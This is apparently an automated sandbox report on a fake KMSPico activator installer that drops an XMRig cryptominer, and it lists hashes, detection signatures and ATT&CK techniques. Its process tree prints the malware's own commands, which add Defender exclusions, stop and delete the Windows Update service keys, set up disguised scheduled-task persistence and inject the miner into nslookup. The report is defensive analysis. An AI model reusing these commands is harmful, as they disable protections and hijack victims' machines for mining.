xmrig | 6d7056c8c31fc91e9ef9ee93f4b1f667c737a3ae0260131a7420e02dbd527107

Analysis

max time kernel
269s
max time network
261s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
08/07/2023, 22:24

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General

Target

KMSPicoSetup.exe
Size

724.8MB
MD5

0dabba05272439229d7463e08e836063
SHA1

f46c049533ebb0d8b92bf6e718db6e7b17eb3d64
SHA256

6d7056c8c31fc91e9ef9ee93f4b1f667c737a3ae0260131a7420e02dbd527107
SHA512

3f56c82ea5c982686686b8b86d8eaafb991b32e9834939c90992d7d4356e1598e78fdf29fd7916e8da6ee660723a8710e342f3bf92f2e5abb68d3a4271df7a22
SSDEEP

98304:KeXVWQlqRmGR7C0QEd+WXS/9BiwWoAqsom:BV7lVIbQZ9Bzm

Score

10^/10

xmrig evasion miner upx

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs

description	pid	Process	procid_target
PID 2964 created 1280	2964	KMSPicoSetup.exe	12
PID 2964 created 1280	2964	KMSPicoSetup.exe	12
PID 2964 created 1280	2964	KMSPicoSetup.exe	12
PID 2964 created 1280	2964	KMSPicoSetup.exe	12
PID 2964 created 1280	2964	KMSPicoSetup.exe	12
PID 2496 created 1280	2496	updater.exe	12
PID 2496 created 1280	2496	updater.exe	12
PID 2496 created 1280	2496	updater.exe	12
PID 2496 created 1280	2496	updater.exe	12
PID 2496 created 1280	2496	updater.exe	12
PID 864 created 1280	864	conhost.exe	12
PID 2496 created 1280	2496	updater.exe	12
PID 2496 created 1280	2496	updater.exe	12

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 19 IoCs

miner

resource	yara_rule
behavioral1/memory/2988-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-140-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-142-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-144-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-146-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-148-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-150-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-152-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-154-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-156-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/2988-158-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	KMSPicoSetup.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 1 IoCs

pid	Process
2496	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2760	taskeng.exe

UPX packed file 19 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2988-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-140-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-142-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-144-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-146-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-148-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-150-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-152-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-154-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-156-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/2988-158-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2496 set thread context of 864	2496	updater.exe	79
PID 2496 set thread context of 2988	2496	updater.exe	86

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	KMSPicoSetup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2388	sc.exe
1048	sc.exe
968	sc.exe
2016	sc.exe
2664	sc.exe
2236	sc.exe
872	sc.exe
2908	sc.exe
1468	sc.exe
320	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2576	schtasks.exe
2240	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1956	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0d59081ebb1d901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2964	KMSPicoSetup.exe
2964	KMSPicoSetup.exe
664	powershell.exe
2964	KMSPicoSetup.exe
2964	KMSPicoSetup.exe
2964	KMSPicoSetup.exe
2964	KMSPicoSetup.exe
2964	KMSPicoSetup.exe
2964	KMSPicoSetup.exe
836	powershell.exe
2964	KMSPicoSetup.exe
2964	KMSPicoSetup.exe
2772	powershell.exe
2496	updater.exe
2496	updater.exe
2732	powershell.exe
2496	updater.exe
2496	updater.exe
2496	updater.exe
2496	updater.exe
2496	updater.exe
2496	updater.exe
2484	powershell.exe
2496	updater.exe
2496	updater.exe
864	conhost.exe
864	conhost.exe
2496	updater.exe
2496	updater.exe
2496	updater.exe
2496	updater.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe
2988	nslookup.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 39 IoCs

description	pid	Process
Token: SeDebugPrivilege	664	powershell.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeShutdownPrivilege	1176	powercfg.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeShutdownPrivilege	2132	powercfg.exe
Token: SeShutdownPrivilege	916	powercfg.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeShutdownPrivilege	2532	powercfg.exe
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeShutdownPrivilege	1560	powercfg.exe
Token: SeShutdownPrivilege	2840	powercfg.exe
Token: SeShutdownPrivilege	2824	powercfg.exe
Token: SeDebugPrivilege	2496	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1956	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1956	WMIC.exe
Token: SeSecurityPrivilege	1956	WMIC.exe
Token: SeTakeOwnershipPrivilege	1956	WMIC.exe
Token: SeLoadDriverPrivilege	1956	WMIC.exe
Token: SeSystemtimePrivilege	1956	WMIC.exe
Token: SeBackupPrivilege	1956	WMIC.exe
Token: SeRestorePrivilege	1956	WMIC.exe
Token: SeShutdownPrivilege	1956	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1956	WMIC.exe
Token: SeUndockPrivilege	1956	WMIC.exe
Token: SeManageVolumePrivilege	1956	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1956	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1956	WMIC.exe
Token: SeSecurityPrivilege	1956	WMIC.exe
Token: SeTakeOwnershipPrivilege	1956	WMIC.exe
Token: SeLoadDriverPrivilege	1956	WMIC.exe
Token: SeSystemtimePrivilege	1956	WMIC.exe
Token: SeBackupPrivilege	1956	WMIC.exe
Token: SeRestorePrivilege	1956	WMIC.exe
Token: SeShutdownPrivilege	1956	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1956	WMIC.exe
Token: SeUndockPrivilege	1956	WMIC.exe
Token: SeManageVolumePrivilege	1956	WMIC.exe
Token: SeLockMemoryPrivilege	2988	nslookup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 272 wrote to memory of 2236	272	cmd.exe	37
PID 272 wrote to memory of 2236	272	cmd.exe	37
PID 272 wrote to memory of 2236	272	cmd.exe	37
PID 1480 wrote to memory of 1196	1480	cmd.exe	36
PID 1480 wrote to memory of 1196	1480	cmd.exe	36
PID 1480 wrote to memory of 1196	1480	cmd.exe	36
PID 1480 wrote to memory of 1176	1480	cmd.exe	38
PID 1480 wrote to memory of 1176	1480	cmd.exe	38
PID 1480 wrote to memory of 1176	1480	cmd.exe	38
PID 272 wrote to memory of 1468	272	cmd.exe	39
PID 272 wrote to memory of 1468	272	cmd.exe	39
PID 272 wrote to memory of 1468	272	cmd.exe	39
PID 272 wrote to memory of 320	272	cmd.exe	40
PID 272 wrote to memory of 320	272	cmd.exe	40
PID 272 wrote to memory of 320	272	cmd.exe	40
PID 1480 wrote to memory of 2132	1480	cmd.exe	41
PID 1480 wrote to memory of 2132	1480	cmd.exe	41
PID 1480 wrote to memory of 2132	1480	cmd.exe	41
PID 272 wrote to memory of 872	272	cmd.exe	42
PID 272 wrote to memory of 872	272	cmd.exe	42
PID 272 wrote to memory of 872	272	cmd.exe	42
PID 1480 wrote to memory of 916	1480	cmd.exe	43
PID 1480 wrote to memory of 916	1480	cmd.exe	43
PID 1480 wrote to memory of 916	1480	cmd.exe	43
PID 272 wrote to memory of 2908	272	cmd.exe	44
PID 272 wrote to memory of 2908	272	cmd.exe	44
PID 272 wrote to memory of 2908	272	cmd.exe	44
PID 272 wrote to memory of 1056	272	cmd.exe	45
PID 272 wrote to memory of 1056	272	cmd.exe	45
PID 272 wrote to memory of 1056	272	cmd.exe	45
PID 272 wrote to memory of 2244	272	cmd.exe	46
PID 272 wrote to memory of 2244	272	cmd.exe	46
PID 272 wrote to memory of 2244	272	cmd.exe	46
PID 836 wrote to memory of 2240	836	powershell.exe	47
PID 836 wrote to memory of 2240	836	powershell.exe	47
PID 836 wrote to memory of 2240	836	powershell.exe	47
PID 272 wrote to memory of 2444	272	cmd.exe	48
PID 272 wrote to memory of 2444	272	cmd.exe	48
PID 272 wrote to memory of 2444	272	cmd.exe	48
PID 272 wrote to memory of 1600	272	cmd.exe	49
PID 272 wrote to memory of 1600	272	cmd.exe	49
PID 272 wrote to memory of 1600	272	cmd.exe	49
PID 272 wrote to memory of 1068	272	cmd.exe	50
PID 272 wrote to memory of 1068	272	cmd.exe	50
PID 272 wrote to memory of 1068	272	cmd.exe	50
PID 2772 wrote to memory of 2724	2772	powershell.exe	53
PID 2772 wrote to memory of 2724	2772	powershell.exe	53
PID 2772 wrote to memory of 2724	2772	powershell.exe	53
PID 2760 wrote to memory of 2496	2760	taskeng.exe	55
PID 2760 wrote to memory of 2496	2760	taskeng.exe	55
PID 2760 wrote to memory of 2496	2760	taskeng.exe	55
PID 2540 wrote to memory of 2532	2540	cmd.exe	65
PID 2540 wrote to memory of 2532	2540	cmd.exe	65
PID 2540 wrote to memory of 2532	2540	cmd.exe	65
PID 2656 wrote to memory of 2388	2656	cmd.exe	64
PID 2656 wrote to memory of 2388	2656	cmd.exe	64
PID 2656 wrote to memory of 2388	2656	cmd.exe	64
PID 2656 wrote to memory of 1048	2656	cmd.exe	66
PID 2656 wrote to memory of 1048	2656	cmd.exe	66
PID 2656 wrote to memory of 1048	2656	cmd.exe	66
PID 2540 wrote to memory of 1560	2540	cmd.exe	69
PID 2540 wrote to memory of 1560	2540	cmd.exe	69
PID 2540 wrote to memory of 1560	2540	cmd.exe	69
PID 2656 wrote to memory of 968	2656	cmd.exe	67

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1280
- C:\Users\Admin\AppData\Local\Temp\KMSPicoSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\KMSPicoSetup.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:664
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:272
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2236
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1468
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:320
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:872
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2908
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1056
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2244
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2444
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1600
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1176
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2132
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ilsgulb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'UpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'UpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "UpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:836
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn UpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ucxkkl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "UpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn UpdateTaskMachineQC
    3⤵
    PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ilsgulb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'UpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'UpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "UpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2484
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn UpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2576
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2532
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1560
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2840
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2388
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1048
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:968
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2016
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2664
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2740
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2784
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2888
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2588
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2808
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ngibtzhrxukrld
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:864
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:560
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1804
- C:\Windows\System32\nslookup.exe
  C:\Windows\System32\nslookup.exe apkyndzzcsghxavu 6E3sjfZq2rJQaxvLPmXgsCZAIMpmPntHEIWDH08V2Q2UvCZXbM1ef6ujRrONrqFfzaYi2v+BoClcnLkmLs7zuUcMndCEMdjZP2dRivz4y8v8yuI63joGWh/zKsLG3F7tQaCIgTrlBPerp4C8TVC13v68tPOJDIW2IuCHG8TUMsjBous5lEJ9R2BhorxNtEYHLLxAz4tJJZdv124elm/Xq0kG3hIPwJeQPOuMxMfznHre41ysZ8eg3E7xCK3JXhPZYO7PvklKqwnwDbHeVSc3uHSuCWuM/lTY8vg3iXVzwAmNDeubSCvXZ6T1/WLIEDo2b1by8dRCQizHr4v7gwKh41W76S9QTX+7Df+A1kq04wRn8Nu1XexuoGxVTMW7ILMuU78uvPoZ/LA6rxGqip54J+N/DVofyGYdeT4sdGGvKjJCsabEd4ojEPZsCwDeiMHlhYG2zcQ40qYmbYnD1ROZJs4BxInK48r8y/KIul90oAQtJ0470pebDvSYJX1c3HYm
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988

C:\Windows\system32\taskeng.exe
taskeng.exe {A6A35DD4-0623-4B59-8840-D06D1814558C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2496

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
724.8MB

MD5
0dabba05272439229d7463e08e836063

SHA1
f46c049533ebb0d8b92bf6e718db6e7b17eb3d64

SHA256
6d7056c8c31fc91e9ef9ee93f4b1f667c737a3ae0260131a7420e02dbd527107

SHA512
